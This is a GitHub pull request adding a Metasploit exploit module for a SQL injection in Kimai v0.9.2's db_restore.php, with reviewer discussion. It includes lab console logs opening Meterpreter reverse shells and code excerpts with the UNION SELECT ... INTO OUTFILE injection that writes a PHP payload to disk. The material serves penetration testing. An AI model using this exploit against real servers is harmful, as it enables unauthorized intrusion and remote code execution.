Add Kimai v0.9.2 'db_restore.php' SQL Injection module #2682

Merged
merged 2 commits into from Nov 28, 2013

Projects

None yet

4 participants

@bcoles
Contributor
bcoles commented Nov 23, 2013

Homepage: http://www.kimai.org/en/
Source: http://sourceforge.net/projects/kimai/files/
Tested on Ubuntu Linux with:

  • Kimai v0.9.2.beta
  • Kimai v0.9.2.1294.beta
  • Kimai v0.9.2.1306-3
msf > use exploit/unix/webapp/kimai_sqli
msf exploit(kimai_sqli) > set RHOST 192.168.124.230
RHOST => 192.168.124.230
msf exploit(kimai_sqli) > check

[*] 192.168.124.230:80 - Checking version...
[+] 192.168.124.230:80 - Found version: 0.9.2.1306
[*] The target service is running, but could not be validated.
msf exploit(kimai_sqli) > run

[*] Started reverse handler on 192.168.124.129:4444 
[*] 192.168.124.230:80 - Retrieving file system path...
[!] 192.168.124.230:80 - Could not retrieve file system path. Assuming '/var/www/kimai/'
[*] 192.168.124.230:80 - Retrieving MySQL table name prefix...
[+] 192.168.124.230:80 - Found table name prefix: kimai_0921306
[*] 192.168.124.230:80 - Creating a backup to get a valid backup ID...
[+] 192.168.124.230:80 - Found backup ID: 1385224771
[*] 192.168.124.230:80 - Writing payload (1789 bytes) to '/var/www/kimai//temporary/T9agOIXZiZ.php'...
[+] 192.168.124.230:80 - Payload sent successfully
[*] 192.168.124.230:80 - Removing the backup...
[*] 192.168.124.230:80 - Retrieving file 'T9agOIXZiZ.php'...
[*] Sending stage (39195 bytes) to 192.168.124.230
[*] Meterpreter session 1 opened (192.168.124.129:4444 -> 192.168.124.230:45215) at 2013-11-23 11:39:32 -0500
[+] Deleted T9agOIXZiZ.php

meterpreter > getuid
Server username: www-data (33)
@bcoles

AverageRanking due to the PHP and MySQL configuration requirements.

This module leaks the application local file path by triggering a PHP error (PHP errors must be enabled) and uses MySQL 'into outfile' (MySQL must be running on localhost) to write a PHP payload to disk (MySQL user must have write permission to the application 'temporary/' directory).

@FireFart FireFart and 1 other commented on an outdated diff Nov 24, 2013
modules/exploits/unix/webapp/kimai_sqli.rb
+ print_good("#{peer} - Found file system path: #{path}")
+ else
+ path = normalize_uri(datastore['TARGETPATH'], target_uri.path)
+ print_warning("#{peer} - Could not retrieve file system path. Assuming '#{path}'")
+ end
+
+ # Get MySQL table name prefix from temporary/logfile.txt
+ print_status("#{peer} - Retrieving MySQL table name prefix...")
+ res = send_request_raw({ 'uri' => normalize_uri(target_uri.path, 'temporary', 'logfile.txt') })
+ if not res
+ fail_with(Failure::Unknown, "#{peer} - Request timed out")
+ elsif prefixes = res.body.scan(/CREATE TABLE `(.+)usr`/)
+ table_prefix = "#{prefixes.flatten.last}"
+ print_good("#{peer} - Found table name prefix: #{table_prefix}")
+ else
+ table_prefix = 'kimai_'
@FireFart
FireFart Nov 24, 2013 Contributor

maybe provide this as an option? FALLBACK_TABLE_PREFIX or smth?

@bcoles
bcoles Nov 25, 2013 Contributor

Good idea. Added in commit a03cfce

@wchen-r7 wchen-r7 commented on the diff Nov 25, 2013
modules/exploits/unix/webapp/kimai_sqli.rb
+ 'vars_post' => {
+ 'submit' => 'create backup'
+ }
+ })
+ if not res
+ fail_with(Failure::Unknown, "#{peer} - Request timed out")
+ elsif backup_ids = res.body.scan(/name="dates\[\]" value="(\d+)">/)
+ id = "#{backup_ids.flatten.last}"
+ print_good("#{peer} - Found backup ID: #{id}")
+ else
+ fail_with(Failure::Unknown, "#{peer} - Could not retrieve backup ID")
+ end
+
+ # Write PHP payload to disk using MySQL injection 'into outfile'
+ fname = "#{rand_text_alphanumeric(rand(10)+10)}.php"
+ sqli = "#{id}_#{table_prefix}var UNION SELECT '<?php #{payload.encoded} ?>' INTO OUTFILE '#{path}/temporary/#{fname}';-- "
@wchen-r7
wchen-r7 Nov 25, 2013 Contributor

I'm not really seeing a file write here. I have display_error set to "On", chmod 777 to the temporary directory, mysql listening on 127.0.0.1:3306. I don't see the file being created under that temporary folder. Testing on kimai.0.9.2.1306-3.zip.

@wchen-r7
Contributor

Took another look at this: So turns out the particular version I was using had a broken db_restore.php, and it was never meant to work in the first place. Anyways, I got a shell now:

msf exploit(kimai_sqli) > rerun
[*] Reloading module...

[*] Started reverse handler on 10.0.1.76:4444 
[*] 10.0.1.87:80 - Retrieving file system path...
[+] 10.0.1.87:80 - Found file system path: /var/www/kimai_0.9.2_1306/
[*] 10.0.1.87:80 - Retrieving MySQL table name prefix...
[+] 10.0.1.87:80 - Found table name prefix: kimai_
[*] 10.0.1.87:80 - Creating a backup to get a valid backup ID...
[+] 10.0.1.87:80 - Found backup ID: 1385600797
[*] 10.0.1.87:80 - Writing payload (1781 bytes) to '/var/www/kimai_0.9.2_1306//temporary/amOnZg8BHC.php'...
[+] 10.0.1.87:80 - Payload sent successfully
[*] 10.0.1.87:80 - Removing the backup...
[*] 10.0.1.87:80 - Retrieving file 'amOnZg8BHC.php'...
[*] Sending stage (39195 bytes) to 10.0.1.87
[*] Meterpreter session 1 opened (10.0.1.76:4444 -> 10.0.1.87:38025) at 2013-11-27 19:06:38 -0600
[!] This exploit may require manual cleanup of: amOnZg8BHC.php

meterpreter > 
@wchen-r7
Contributor

Passes msftidy.

@wchen-r7 wchen-r7 added a commit that referenced this pull request Nov 28, 2013
@wchen-r7 wchen-r7 Land #2682 - Kimai v0.9.2 'db_restore.php' SQL Injection a02e0ee
@wchen-r7 wchen-r7 merged commit a03cfce into rapid7:master Nov 28, 2013

1 check passed

default The Travis CI build passed
Details
@bcoles bcoles deleted the bcoles:kimai_sqli branch Dec 19, 2013
@limhoff-r7

This is incorrect syntax it makes [{'EBD' => '25606'}]. References are only parsed correctly if you use a two element array like so:

'References' => [
  ['EDB', '25606'],
  ['OSVDB', '93547']
]

The correct references are being silently ignored because the parser rejects any array without 2 elements.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment